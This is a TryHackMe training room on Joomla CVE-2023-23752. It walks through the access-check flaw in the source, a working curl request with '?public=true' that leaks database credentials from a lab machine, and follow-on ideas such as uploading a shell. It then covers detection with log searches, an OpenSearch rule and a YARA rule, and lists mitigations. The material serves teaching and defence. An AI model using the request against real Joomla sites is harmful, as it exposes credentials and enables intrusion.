Room Banner

Joomify: CVE-2023-23752

Learn how to exploit a Joomla CMS using CVE-2023-23752 and understand various mitigation techniques.

medium

40 min

Room progress ( 0% )

To access material, start machines and answer questions login.

Task 1Introduction

Joomla is a free and open-source Content Management System (CMS) that is widely used to build blogging websites. At the time of writing , the platform ranks 5th, surpassing other vital platforms like Bitrix, Drupal, etc. In Feb 2023, the platform identified a vulnerability that allowed unauthorized users to fetch information from various web endpoints without prior authentication. The vulnerability was identified by Zewei Zhang from NSFOCUS TIANJI Lab and was assigned the severity Medium  and CVE-ID 2023-23752 .

 

Learning Objective
  • Primary techniques to exploit a Joomla CMS through CVE 2023-23752
  • How medium-level vulnerabilities can lead from information disclosure to complete Remote Code Execution (RCE)
  • Protection and mitigation measures

Course Pre-requisites
Understanding the following topics is recommended before starting the course:-

Connecting to the Machine
We will use a Ubuntu-based machine to demonstrate the room's red and blue team perspective. L et’s start the Virtual Machine by pressing the Start Machine button at the top of this task. You may access the VM using the AttackBox or your VPN connection . Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully.

 

You can access the vulnerable Joomla application hosted at http://MACHINE_IP for the red teaming exercise.

For the blue team exercise and prevention from the attack, we have installed an AWS OpenSearch SIEM solution that will allow detection of the vulnerability and attack through pre-defined rules.

 

  • IP:  http://MACHINE_IP:5601/  
  • Username:    admin
  • Password:    admin

Let's begin!

Answer the questions below
I can successfully connect with the machine.

The vulnerability occurs due to improper access checks against a particular GET request variable. Joomla CMS allows administrators/visitors to interact with the platform through three main entry points:

  • Admin panel : Used for managing the website through the  /administrator endpoint (only administrators can access the panel through a valid username and password)
  • Root directory : The root index.php file renders the overall website (primarily renders content for the visitors)
  • API folder : This folder is mainly designed for the developers to access the website content/database and, by default, disabled for general public access

The vulnerability CVE 2023-23752 takes advantage of the API-based endpoints. It enables users to access the endpoint without authentication by manipulating the GET variable public value from false to true . For example, if there is an API call to  http://MACHINE_IP/api/index.php/v1/contacts . The API calls are not usually enabled for the general public; however, if the attacker sets the public variable value, he can bypass the code access checks and get a valid API response.

Detail Technical Explanation

To understand how the vulnerability works, let's have a source code review to understand the control flow through different pages. We will use a vulnerable version of Joomla that can be downloaded directly from this link . You can find a similar folder structure once you extract it on the desktop.

folder structure after installation

In the api folder, there is an index.php file responsible for handling all the API-based calls. The index.php further calls the app.php located in the includes folder.

\api\index.php
      /**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Run the application - All executable code should be triggered through this file
require_once dirname(__FILE__) . '/includes/app.php';
      
    

Inside the app.php , the $app variable is the most important one, storing all the HTTP request parameters and other information.

\api\includes\app.php
      // Instantiate the application.
$app = $container->get(\Joomla\CMS\Application\ApiApplication::class);

// Set the application as global app
\Joomla\CMS\Factory::$application = $app;

// Execute the application.
$app->execute();
      
    

Once the $app->execute()  function is executed, it calls the execute() function in the CMSApplication.php file and performs all the quick checks on system variables, sets up logging, and further calls the doExecute() function in ApiApplication.php .

\libraries\src\Application\CMSApplication.php
      	public function execute()
	{
		try
		{
			$this->sanityCheckSystemVariables();
			$this->setupLogging();
			$this->createExtensionNamespaceMap();

			// Perform application routines.
			$this->doExecute();
      
    

The doExecute()   function is important and contains calls to three simple functions for initializing the app, setting up the routes, and rendering the application. Inside the doExecute() function, we have a call to $this->route() function, which sets all the routing parameters, fills the input variable, etc.

\libraries\src\Application\ApiApplication.php
      		protected function doExecute()
	{
		// Initialise the application
		$this->initialiseApp();

		// Mark afterInitialise in the profiler.
		JDEBUG ? $this->profiler->mark('afterInitialise') : null;

		// Route the application
		$this->route();
      
    

Within the route function, there is a call to parseApiRoute()  function of ApiRouter.php that parses the requested API request and returns an array. Here, we can see that the vars variable can be overwritten through any user-supplied input .

\libraries\src\Application\ApiApplication.php
      
					foreach ($route->getRouteVariables() as $i => $var)
					{
						$vars[$var] = $matches[$i + 1];
					}

					$controller = preg_split("/[.]+/", $route->getController());
					$vars       = array_merge($vars, $query);

					return [
						'controller' => $controller[0],
						'task'       => $controller[1],
						'vars'       => $vars
					];
      
    

The route() function contains the necessary code to throw an exception in case the variable's value is false or not set; however, it fails to ensure that the user-supplied should not change the variable's value.

\libraries\src\Application\ApiApplication.php
      
		$this->triggerEvent('onAfterApiRoute', array($this));

		if (!isset($route['vars']['public']) || $route['vars']['public'] === false)
		{
			if (!$this->login(array('username' => ''), array('silent' => true, 'action' => 'core.login.api')))
			{
				throw new AuthenticationFailed;
			}
		}
	}
      
    

Moving forward, we will see how to exploit the vulnerability from an attacker's perspective.

Answer the questions below
What folder name contains the index.php code responsible for handling the API-based calls?

What folder name contains all the admin-related files and code in Joomla?

What GET request variable name can the attacker manipulate to trigger CVE 2023-23752?

Exploiting the vulnerability is simple for a red teamer and only requires setting the value of the public variable from false to true while making the API call. The list of API calls related to users, content, banners, application configuration, etc., can be found at this link.

Standard API Call

A general description of normal and malicious API calls is shown below:


We can see that an attacker can exploit the application by sending an API request. If we want to get configuration details, we can make the following web call:

\api\includes\app.php
           thm@ubuntu$ curl -v http://MACHINE_IP/api/index.php/v1/config/application?public=true                                                           {"links":{"self":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"220","attributes":{"offline":false,"id":220}},{"type":"application","id":"220","attributes":{"offline_message":"This site is down for maintenance.
Please check back again soon."
,"id":220}},{"type":"application","id":"220","attributes":{"display_offline_message":1,"id":220}},{"type":"application","id":"220","attributes":{"offline_image":"","id":220}},{"type":"application","id":"220","attributes":{"sitename":"Joomify Website","id":220}},{"type":"application","id":"220","attributes":{"editor":"tinymce","id":220}},{"type":"application","id":"220","attributes":{"captcha":"0","id":220}},{"type":"application","id":"220","attributes":{"list_limit":20,"id":220}},{"type":"application","id":"220","attributes":{"access":1,"id":220}},{"type":"application","id":"220","attributes":{"debug":false,"id":220}},{"type":"application","id":"220","attributes":{"debug_lang":false,"id":220}},{"type":"application","id":"220","attributes":{"debug_lang_const":true,"id":220}},{"type":"application","id":"220","attributes":{"dbtype":"mysqli","id":220}},{"type":"application","id":"220","attributes":{"host":"localhost","id":220}},{"type":"application","id":"220","attributes":{"user":"root","id":220}},{"type":"application","id":"220","attributes":{"password":"tesla@musk","id":220}},{"type":"application","id":"220","attributes":{"db":"joomla_db","id":220}},{"type":"application","id":"220","attributes":{"dbprefix":"uh020_","id":220}},{"type":"application","id":"220","attributes":{"dbencryption":0,"id":220}},{"type":"application","id":"220","attributes":{"dbsslverifyservercert":false,"id":220}}],"meta":{"total-pages":4}}* Connection #0 to host MACHINE_IP left intact

Possible Impact

Since the API allows information leakage, including sensitive database credentials, a few of the possible avenues for exploitation are mentioned below:

  • Password re-use vulnerability to log in to the admin panel of the Joomla application or the server through SSH/VNC.
  • Connecting to the database and uploading the shell leads to remote code execution.
  • Extracting private information of the website users and launching spear-phishing campaigns
Answer the questions below
What is the admin user's email address for the vulnerable Joomla application?

What is the password for the database user root?

What is the HTTP response code if an API endpoint is accessed without setting the public variable as true?

What is the website address for contact ID 1 of the vulnerable Joomla application?

In the previous task, we learned that the vulnerability can be exploited by setting the value of the public variable to true while requesting an API call. This means that although the legitimate API calls can also be targeted to the same endpoint, any API call that sets the value of the public variable to true is essentially trying to exploit the vulnerability for leaking information.

Examining Logs

If we have a SIEM solution that captures weblogs, we can create an alert or use this search query to look for any exploitation attempt. Before diving into SIEM, let's explore the Apache access logs that are placed at /var/log/apache2/access.log .

Access.log Content

If we open the access.log file in the text editor, we can explore different web request logs, as shown below:

  10.9.0.191 - - [21/Jul/2023:07:05:12 +0000] "POST /administrator/index.php HTTP/1.1" 200 4052 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
    
10.9
.0.191 - - [21/Jul/2023:07:13:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 10.11.41.113 - - [21/Jul/2023:07:18:51 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9
.0.191 - - [21/Jul/2023:07:19:12 +0000] "POST /administrator/index.php HTTP/1.1" 200 4050 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.9
.0.191 - - [21/Jul/2023:07:27:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 10.11.41.113 - - [21/Jul/2023:07:32:51 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9
.0.191 - - [21/Jul/2023:07:33:30 +0000] "POST /administrator/index.php HTTP/1.1" 200 4050 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.9
.0.191 - - [21/Jul/2023:07:41:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.11
.41.113 - - [21/Jul/2023:07:46:42 +0000] "GET /api/index.php/v1/application?public=true HTTP/1.1" 404 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9
.0.191 - - [21/Jul/2023:07:47:30 +0000] "POST /administrator/index.php HTTP/1.1" 200 4054 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"

As we learned in the previous task, the attacker attempts to gain unauthorized access to the various endpoints via an API call over the GET request; we can see the HTTP request that can confirm the potential exploitation attempt. Each suspicious request may contain the following terms that we can use to detect the attack attempt:

  • http.method = GET
  • http.URI contains  /api/index.php
  • HTTP.URI contains public=true

Use the following command to search for the possible attack attempt manually in the logs :
Command : tail /var/log/apache2/access.log | grep 'public=true' It will return the log indicating an exploitation attempt.

Now, Open the OpenSearch SIEM instance at http://MACHINE_IP:5601 . You can use the credentials shared in task 1 to log in. If you see a pop-up asking to select your tenant, select private and press confirm to move forward. Go to the Discover tab by selecting it from the menu in the top-left corner, and use the following search query to identify the event that shows the exploitation attempt. In the below screenshot, we have selected the fields agent , host , method , and path so that we get the required parameters in a tabular form.

Search Query : method:GET AND path:("*public=true*") AND path:"*api/index.php*"

The Discover tab of OpenSearch showing events as per our search term

Rule

In a SOC environment, we would like to be alerted when an attempt  is made  to exploit the vulnerability. How we set the rule for alerting will depend on each SIEM solution, but the parameters of the rule will remain the same. We can create a rule in OpenSearch by visiting Menu > Alerting > Monitors > Create Monitor . In the attached VM, we have already created this rule based on the following parameters:

The parameters set on the Monitor to create a rule for alerting

Alerting

Let's examine the Alerting tab to see if the exploitation attempt has created any alerts. In the left-sidebar, click on the Alerting tab, as shown below:

The position of the alerting tab in the menu in OpenSearch

In the Alerts tab, the rules have triggered the alerts multiple times. The alerts tab shows how many times the rule has been triggered.

Alerts being shown in the alerts tab, showing that our rule has been alerting on exploitation attempts of the Joomla vulnerability

From a detection point of view, it's important to have complete network visibility to detect any anomalies within the network.

Host-based Detection

From the host-detection point of view, as these changes are reflected in the log file on the disk, we can use a file-based pattern-matching tool called YARA to identify the exploitation attempt.

  rule CVE_2023_23752_Detection
{
    meta:
        description = "Rule to detect CVE-2023-23752 exploitation attempt"
        author = "Joomify"

    strings:
       $http_method = "GET"
        $api = "api/index.php" nocase
        $http_uri = {70 75 62 6C 69 63 3D 74 72 75 65}  // public=true
    condition:
        all of them
}
  

The above yara rule can be used to detect the attack patterns in the Apache logs, by running the command as shown below:

Command: yara -r -m CVE-2023-23752.yar /var/log/apache2/

The expected output is shown below:

Command line output showing the yara rule triggering on the Apache access logs for the vulnerability exploit attempts

The above output indicates that YARA was able to identify the three strings from the access.log files, indicating a potential exploitation attempt.

Note: To learn more about YARA, check out this introductory room on YARA .

Mitigation steps

So far, we learned how to perform the attack and how to detect the attack patterns in the logs and on the disk; let's talk about a few mitigation steps that we can take to prevent our servers from being exploited.

  • Update the Joomla version. Make sure the Joomla version is not 4.0.0 through 4.0.7.
  • Update the alerts in the detection tools so they are notified as soon as an exploitation attempt is made.
  • Add a reverse proxy or a WAF in front of the Joomla website and block requests to the API endpoint that tries to change the public.
Answer the questions below

In the monitoring tab of the Alerting section, what is the name of the alert that detects a Joomla exploit attempt?

This is it. As Joomla is a widely used CMS and this vulnerability is still being exploited in the wild, it is recommended that Joomla be kept updated to avoid such vulnerabilities from being exploited. In this room, we learned the following:

  • The latest vulnerability in Joomla CMS, which is assigned a CVE ID 2023-23752
  • Simple ways to exploit the vulnerability to gain unauthorized access to different endpoints with a simple GET request
  • How to detect exploitation attempts in logs using YARA
  • How to mitigate the vulnerability

Let us know what you think about this room on our Discord channel or Twitter account. See you around.

Answer the questions below
I have successfully completed the room.

Room Type

Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!

Users in Room

3,267

Created

374 days ago

Ready to learn Cyber Security? Create your free account today!

TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.

Already have an account? Log in

We use cookies to ensure you get the best user experience. For more information contact us.

Read more